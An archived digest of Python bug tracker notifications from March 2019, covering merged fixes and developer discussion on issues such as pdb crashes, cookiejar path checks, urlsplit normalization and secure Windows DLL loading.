Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak
versions: +Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36267>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:52:43 2019
From: report at bugs.python.org (Joshua Jay Herman)
Date: Tue, 12 Mar 2019 02:52:43 +0000
Subject: [issue36184] [EASY] test_gdb.test_threads() is specific to
 _POSIX_THREADS, fail on FreeBSD
In-Reply-To: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>
Message-ID: <1552359163.82.0.812446291406.issue36184@roundup.psfhosted.org>


Joshua Jay Herman <zitterbewegung at gmail.com> added the comment:

I was able to reproduce this on FreeBSD 12.0.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Mon Mar 11 22:57:22 2019
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 12 Mar 2019 02:57:22 +0000
Subject: [issue36184] [EASY] test_gdb.test_threads() is specific to
 _POSIX_THREADS, fail on FreeBSD
In-Reply-To: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>
Message-ID: <1552359442.26.0.706690033566.issue36184@roundup.psfhosted.org>


Change by Kubilay Kocak <koobs.freebsd at gmail.com>:


----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Mon Mar 11 23:03:42 2019
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 12 Mar 2019 03:03:42 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552359822.33.0.189599513064.issue36235@roundup.psfhosted.org>


Change by Kubilay Kocak <koobs.freebsd at gmail.com>:


----------
nosy: +koobs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 11 23:21:31 2019
From: report at bugs.python.org (Lisa Roach)
Date: Tue, 12 Mar 2019 03:21:31 +0000
Subject: [issue35132] python-gdb error: Python Exception <class
 'RuntimeError'> Type does not have a target
In-Reply-To: <1541068819.38.0.788709270274.issue35132@psf.upfronthosting.co.za>
Message-ID: <1552360891.63.0.412254620841.issue35132@roundup.psfhosted.org>


Lisa Roach <lisaroach14 at gmail.com> added the comment:


New changeset 1ceb3a3d172dcf0ddff38d5d6b559443ad065b84 by Lisa Roach in branch 'master':
bpo-35132: Fixes missing target in gdb pep0393 check. (GH-11848)
https://github.com/python/cpython/commit/1ceb3a3d172dcf0ddff38d5d6b559443ad065b84


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35132>
_______________________________________

From report at bugs.python.org  Mon Mar 11 23:21:54 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 12 Mar 2019 03:21:54 +0000
Subject: [issue35132] python-gdb error: Python Exception <class
 'RuntimeError'> Type does not have a target
In-Reply-To: <1541068819.38.0.788709270274.issue35132@psf.upfronthosting.co.za>
Message-ID: <1552360914.05.0.406590219884.issue35132@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12263

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35132>
_______________________________________

From report at bugs.python.org  Mon Mar 11 23:29:06 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 12 Mar 2019 03:29:06 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552361346.55.0.827611007101.issue35931@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 3e936431e23b424b1e4665e8165c245924f0ab02 by Miss Islington (bot) (Daniel Hahler) in branch 'master':
bpo-35931: Gracefully handle any exception in pdb debug command (GH-12103)
https://github.com/python/cpython/commit/3e936431e23b424b1e4665e8165c245924f0ab02


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Mon Mar 11 23:29:14 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 12 Mar 2019 03:29:14 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552361354.02.0.443992792466.issue35931@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12264

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Mon Mar 11 23:47:09 2019
From: report at bugs.python.org (Lisa Roach)
Date: Tue, 12 Mar 2019 03:47:09 +0000
Subject: [issue36159] Modify Formatter Class to handle arbitrary objects
In-Reply-To: <1551463237.42.0.662245603884.issue36159@roundup.psfhosted.org>
Message-ID: <1552362429.54.0.698121299616.issue36159@roundup.psfhosted.org>


Lisa Roach <lisaroach14 at gmail.com> added the comment:

Can you give an example use case for this? F-strings are the newer method of string interpolation, I'm not sure it's worth putting effort into adding features to string.Formatter.

----------
nosy: +lisroach

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36159>
_______________________________________

From report at bugs.python.org  Tue Mar 12 00:01:04 2019
From: report at bugs.python.org (miss-islington)
Date: Tue, 12 Mar 2019 04:01:04 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552363264.61.0.481361260868.issue35931@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 1c4580d1f563173f5d6ec990b46bd38f4ae901a1 by Miss Islington (bot) in branch '3.7':
[3.7] bpo-35931: Gracefully handle any exception in pdb debug command (GH-12103) (GH-12285)
https://github.com/python/cpython/commit/1c4580d1f563173f5d6ec990b46bd38f4ae901a1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Tue Mar 12 00:02:55 2019
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 12 Mar 2019 04:02:55 +0000
Subject: [issue35931] pdb: "debug print(" crashes with SyntaxError
In-Reply-To: <1549555371.45.0.73616044825.issue35931@roundup.psfhosted.org>
Message-ID: <1552363375.14.0.0608033274672.issue35931@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Thanks for catching that and fixing it before 3.7.3!

----------
priority: release blocker -> normal
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35931>
_______________________________________

From report at bugs.python.org  Tue Mar 12 00:06:32 2019
From: report at bugs.python.org (Lisa Roach)
Date: Tue, 12 Mar 2019 04:06:32 +0000
Subject: [issue35924] curses segfault resizing window
In-Reply-To: <1549497741.38.0.310308715457.issue35924@roundup.psfhosted.org>
Message-ID: <1552363592.32.0.932915128731.issue35924@roundup.psfhosted.org>


Lisa Roach <lisaroach14 at gmail.com> added the comment:

I am able to confirm the repro, I haven't been able to find the root cause of it yet though. Trying to dig into it.

----------
nosy: +lisroach

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35924>
_______________________________________

From report at bugs.python.org  Tue Mar 12 00:28:45 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 04:28:45 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552364925.69.0.976783426147.issue35647@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset 5565b1db6f37f244890369e0d68a3e906aca28b9 by Ned Deily (Miss Islington (bot)) in branch '3.6':
bpo-35647: Fix path check in cookiejar (GH-11436) (GH-12268)
https://github.com/python/cpython/commit/5565b1db6f37f244890369e0d68a3e906aca28b9


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Tue Mar 12 00:34:05 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 04:34:05 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552365245.88.0.830137766606.issue36216@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset 23fc0416454c4ad5b9b23d520fbe6d89be3efc24 by Ned Deily (Steve Dower) in branch '3.6':
[3.6] bpo-36216: Add check for characters in netloc that normalize to separators (GH-12201) (GH-12215)
https://github.com/python/cpython/commit/23fc0416454c4ad5b9b23d520fbe6d89be3efc24


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 00:56:04 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 04:56:04 +0000
Subject: [issue35854] EnvBuilder and venv symlinks do not work on Windows on
 3.7.2
In-Reply-To: <1548803594.51.0.0945300904975.issue35854@roundup.psfhosted.org>
Message-ID: <1552366564.6.0.0961435162898.issue35854@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Can we close this issue now?

----------
nosy: +ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35854>
_______________________________________

From report at bugs.python.org  Tue Mar 12 01:48:03 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 12 Mar 2019 05:48:03 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552369683.59.0.87199200227.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> call SetDefaultDllDirectories() in Py_Main (i.e. not when embedded) 
> to ensure secure search paths are always used

That will require rewriting many scripts and packages that use ctypes or cffi to load DLLs. It would also break DLLs that internally rely on modifying PATH for a delayed load, though I hope that's uncommon. I think it's easier for everyone else if we implement this just for extension-module loading with the LoadLibraryExW flags. 

Also, if I'm understanding your intention, loading an extension may fail when Python is embedded if the process is using the legacy DLL search path. So, like with ctypes, we'll be forcing embedding applications to update how they load DLLs in order to comply with us, else they'll have to accept that some packages won't work without the SetDefaultDllDirectories call.

> ensure LoadLibrary when used in ctypes or importing will use the 
> correct flags

ctypes calls LoadLibraryW, which uses the default that's set by SetDefaultDllDirectories, if that's what we eventually decide is the best course of action.

If we decide to not call SetDefaultDllDirectories, then we should provide a way for ctypes packages to update to using the secure search path instead of relying on the legacy search path. We could rewrite the ctypes LoadLibrary wrapper to call LoadLibraryExW instead of LoadLibraryW and support the flags in the CDLL `mode` parameter, which is currently unused in Windows.

> add sys._adddlldirectory() and sys._removedlldirectory() as CPython-
> specific functions for extending the search path (for use by packages 
> currently modifying PATH at runtime)

I'd prefer some way for scripts and packages to configure their shared-library search paths as static data. The implementation would be kept private in the interpreter. 

I know there's debate about removing ".pth" files. But maybe we could  implement something similar for the DLL search path with package and script ".pthext" files. These would contain a list of directories (relative to the script or package) that extend the shared-library search path.

> add check for KB2533623 to the installer and block if it is not
> present

Also, at runtime we can raise a SystemError if AddDllDirectory isn't found via GetProcAddress. This supports portable Python installations.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:12:24 2019
From: report at bugs.python.org (mattip)
Date: Tue, 12 Mar 2019 07:12:24 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552374744.41.0.952719724516.issue36085@roundup.psfhosted.org>


mattip <matti.picus at gmail.com> added the comment:

Correct me if I'm wrong, but once SetDefaultDllDirectories() is used, there is no going back: PATH no longer can change the search path no matter what flags are used with LoadLibrary* calls (see the recent Anaconda issue when they did this and broke NumPy). Assuming that is true, then

> add sys._adddlldirectory() and sys._removedlldirectory() as CPython-specific functions for extending the search path (for use by packages currently modifying PATH at runtime)

Why is this CPython-specific and "private"? It seems like
* it should be a public interface, used by all implementations consistently, as a policy decision for the win32 platform and documented as such
* located in os, much like os.environ (not critical)

There should be some kind of debugging tool for when LoadLibraryEx fails, to indicate what might have gone wrong, perhaps os.getdlldirectory() would be helpful

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:34:44 2019
From: report at bugs.python.org (Michael Felt)
Date: Tue, 12 Mar 2019 07:34:44 +0000
Subject: [issue35704] On AIX,
 test_unpack_archive_xztar fails with default MAXDATA settings
In-Reply-To: <1547111571.31.0.315459583294.issue35704@roundup.psfhosted.org>
Message-ID: <1552376084.7.0.210166193321.issue35704@roundup.psfhosted.org>


Change by Michael Felt <aixtools at felt.demon.nl>:


----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35704>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:35:11 2019
From: report at bugs.python.org (Michael Felt)
Date: Tue, 12 Mar 2019 07:35:11 +0000
Subject: [issue34373] test_time errors on AIX
In-Reply-To: <1533917751.88.0.56676864532.issue34373@psf.upfronthosting.co.za>
Message-ID: <1552376111.1.0.0928086233008.issue34373@roundup.psfhosted.org>


Change by Michael Felt <aixtools at felt.demon.nl>:


----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34373>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:35:56 2019
From: report at bugs.python.org (Michael Felt)
Date: Tue, 12 Mar 2019 07:35:56 +0000
Subject: [issue11192] test_socket error on AIX
In-Reply-To: <1297436751.32.0.492226695457.issue11192@psf.upfronthosting.co.za>
Message-ID: <1552376156.46.0.589531647272.issue11192@roundup.psfhosted.org>


Change by Michael Felt <aixtools at felt.demon.nl>:


----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11192>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:36:16 2019
From: report at bugs.python.org (Michael Felt)
Date: Tue, 12 Mar 2019 07:36:16 +0000
Subject: [issue34720] Fix test_importlib.test_bad_traverse for AIX
In-Reply-To: <1537272185.7.0.956365154283.issue34720@psf.upfronthosting.co.za>
Message-ID: <1552376176.84.0.1909498645.issue34720@roundup.psfhosted.org>


Change by Michael Felt <aixtools at felt.demon.nl>:


----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34720>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:43:37 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 07:43:37 +0000
Subject: [issue35892] Fix awkwardness of statistics.mode() for multimodal
 datasets
In-Reply-To: <1549219885.57.0.86866159357.issue35892@roundup.psfhosted.org>
Message-ID: <1552376617.93.0.26928019462.issue35892@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset fc06a192fdc44225ef1cc879f615a81931ad0a85 by Raymond Hettinger in branch 'master':
bpo-35892: Fix mode() and add multimode() (#12089)
https://github.com/python/cpython/commit/fc06a192fdc44225ef1cc879f615a81931ad0a85


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35892>
_______________________________________

From report at bugs.python.org  Tue Mar 12 03:44:04 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 07:44:04 +0000
Subject: [issue35892] Fix awkwardness of statistics.mode() for multimodal
 datasets
In-Reply-To: <1549219885.57.0.86866159357.issue35892@roundup.psfhosted.org>
Message-ID: <1552376644.44.0.497932022141.issue35892@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35892>
_______________________________________

From report at bugs.python.org  Tue Mar 12 04:17:20 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 08:17:20 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552378640.32.0.839726493736.issue36216@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Sample buildbot log of print statement in testcase causing rerun of test : https://buildbot.python.org/all/#/builders/101/builds/364/steps/4/logs/stdio

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 04:25:52 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 12 Mar 2019 08:25:52 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552379152.77.0.700511998324.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset f2a186712bfe726d54723eba37d80c7f0303a50b by Inada Naoki in branch 'master':
bpo-30040: new empty dict uses key-sharing dict (GH-1080)
https://github.com/python/cpython/commit/f2a186712bfe726d54723eba37d80c7f0303a50b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 04:26:13 2019
From: report at bugs.python.org (Inada Naoki)
Date: Tue, 12 Mar 2019 08:26:13 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552379173.15.0.785696618587.issue30040@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 04:46:18 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 12 Mar 2019 08:46:18 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552380378.93.0.204838518849.issue36229@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

This is an interesting idea. But I have two concerns.

1. It is hard to implement refcount-based optimization on Python implementations which do not use reference counting (i.e. PyPy). If the effect of this optimization will be significant, people will become writing a code that depends on it, and this will cause problems on other implementations.

2. Currently list1 + list2 + list3 returns a list which allocates the exact amount of memory needed to contain its content. But with the proposed changes the result list could preallocate more memory. If the result is a long living object, this can cause to wasting of memory.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:14:22 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 12 Mar 2019 09:14:22 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1552369683.59.0.87199200227.issue36085@roundup.psfhosted.org>
Message-ID: <CACac1F_wgpYVxXZbvoSBDy5pPj3FF7c_TmG-CCMsFS-sWvQ-sA@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

> Also, if I'm understanding your intention, loading an extension may fail when Python is embedded if the process is using the legacy DLL search path. So, like with ctypes, we'll be forcing embedding applications to update how they load DLLs in order to comply with us, else they'll have to accept that some packages won't work without the SetDefaultDllDirectories call.

This bothers me - how will backward compatibility work in that case?
There are applications (for example, Vim) that can embed Python, and
it's possible to pick the Python version at compile time. Would Vim
need additional code (possibly guarded by some sort of "If this is
Python 3.8 or later" flag, which from my knowledge of the Vim code
would not be particularly easy to add in a backward compatible way) to
handle this change?

Actually, as a more general point, I have been following this
discussion, but I really have no feel as to what practical impact
there would be on an embedded application. I get that this is OS
functionality, and therefore it's not Python's place to explain the
details to users, but IMO it *is* Python's responsibility to explain
how embedding applications will need to change if we change how we
configure things. Even if users are currently using an approach that
is no longer encouraged (which is *I think* what you're saying about
putting DLLs on PATH) they are still using something that works right
now, and we're breaking it - so we need to describe what changed,
*why* we felt we should break their code, and what they need to do,
both to switch to the new model, and (if they have a requirement to do
so) to support the old and new models simultaneously in their code
(very few people, not even embedders, can suddenly say "we're dropping
support for Python 3.7 and older, we only allow 3.8+ from now on").

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:17:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 09:17:25 +0000
Subject: [issue35132] python-gdb error: Python Exception <class
 'RuntimeError'> Type does not have a target
In-Reply-To: <1541068819.38.0.788709270274.issue35132@psf.upfronthosting.co.za>
Message-ID: <1552382245.66.0.620273500461.issue35132@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 047f8f25b93e2649d234fa565a59383fceb40e16 by Victor Stinner (Miss Islington (bot)) in branch '3.7':
bpo-35132: Fixes missing target in gdb pep0393 check. (GH-11848) (GH-12284)
https://github.com/python/cpython/commit/047f8f25b93e2649d234fa565a59383fceb40e16


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35132>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:22:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 09:22:05 +0000
Subject: [issue35132] python-gdb error: Python Exception <class
 'RuntimeError'> Type does not have a target
In-Reply-To: <1541068819.38.0.788709270274.issue35132@psf.upfronthosting.co.za>
Message-ID: <1552382525.33.0.863981706207.issue35132@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Dylan Cali for the bug report. Lisa Roach fixed the bug in 3.7 and master branches. Until a new release is published, you can copy manually the file from:
https://github.com/python/cpython/blob/3.7/Tools/gdb/libpython.py

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7, Python 3.8 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35132>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:39:13 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 09:39:13 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1552383553.73.0.849229333593.issue36206@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests: +12265

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:39:13 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 09:39:13 +0000
Subject: [issue31784] Implementation of the PEP 564: Add time.time_ns()
In-Reply-To: <1507930455.75.0.213398074469.issue31784@psf.upfronthosting.co.za>
Message-ID: <1552383553.88.0.123695194558.issue31784@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests: +12266

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31784>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:40:11 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 09:40:11 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1552383611.39.0.267397047847.issue36205@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
keywords: +patch
pull_requests: +12267
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:40:36 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 09:40:36 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1552383636.33.0.57599130731.issue36206@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests:  -12265

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:41:28 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 09:41:28 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1552383688.93.0.131325681831.issue36206@roundup.psfhosted.org>


Change by Ned Deily <nad at python.org>:


----------
pull_requests: +12268

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar 12 05:49:53 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 12 Mar 2019 09:49:53 +0000
Subject: [issue36205] Python 3.7 and 3.8 process_time is not reported
 correctly when built on older macOS versions
In-Reply-To: <1551839026.38.0.329984439989.issue36205@roundup.psfhosted.org>
Message-ID: <1552384193.14.0.554376030455.issue36205@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Further investigation shows that several time related functions were added to macOS at 10.12 including clock_gettime. For older systems, timemodule.c falls back to using getrusage. With Python 3.6.x, that fallbacks correctly but it appears that refactoring introduced with the implementation of PEP 564 (bpo-31784, #3989) broke that for 3.7.x (and master/3.8).  I've attached a WIP PR that at the moment just turns Alexander's test into a potential test case.

Since this problem has been around since 3.7.0, I am lowering the priority to "deferred blocker" to not hold up 3.7.3rc1.

Victor, I'd appreciate it if you could take a look at this. Thanks!

----------
nosy:  -lukasz.langa
priority: release blocker -> deferred blocker
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36205>
_______________________________________

From report at bugs.python.org  Tue Mar 12 06:07:19 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 10:07:19 +0000
Subject: [issue36206] re.match() not matching escaped hyphens
In-Reply-To: <1551839977.13.0.745695209115.issue36206@roundup.psfhosted.org>
Message-ID: <1552385239.54.0.171363018215.issue36206@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
pull_requests:  -12268

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36206>
_______________________________________

From report at bugs.python.org  Tue Mar 12 06:50:37 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 10:50:37 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>
Message-ID: <1552387837.5.0.787974793526.issue36266@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Tue Mar 12 07:06:07 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 11:06:07 +0000
Subject: [issue35746] [ssl][CVE-2019-5010] TALOS-2018-0758 Denial of Service
In-Reply-To: <1547569468.87.0.514647021744.issue35746@roundup.psfhosted.org>
Message-ID: <1552388767.79.0.362137946481.issue35746@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Yes, I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35746>
_______________________________________

From report at bugs.python.org  Tue Mar 12 07:07:17 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 11:07:17 +0000
Subject: [issue33725] Python crashes on macOS after fork with no exec
In-Reply-To: <1527814386.62.0.682650639539.issue33725@psf.upfronthosting.co.za>
Message-ID: <1552388837.77.0.20543784546.issue33725@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Changing the default is trivial and safe. Let's do that. Additional doc wouldn't hurt.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33725>
_______________________________________

From report at bugs.python.org  Tue Mar 12 07:09:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 11:09:25 +0000
Subject: [issue36252] update to Unicode 12
In-Reply-To: <1552174088.7.0.771249971447.issue36252@roundup.psfhosted.org>
Message-ID: <1552388965.15.0.128125429695.issue36252@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Would you mind to explain how you update Unicode in Python?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36252>
_______________________________________

From report at bugs.python.org  Tue Mar 12 07:57:14 2019
From: report at bugs.python.org (Jim Maloy)
Date: Tue, 12 Mar 2019 11:57:14 +0000
Subject: [issue22107] tempfile module misinterprets access denied error on
 Windows
In-Reply-To: <1406724041.52.0.0365391579019.issue22107@psf.upfronthosting.co.za>
Message-ID: <1552391834.71.0.419706518234.issue22107@roundup.psfhosted.org>


Jim Maloy <james.maloy at honeywell.com> added the comment:

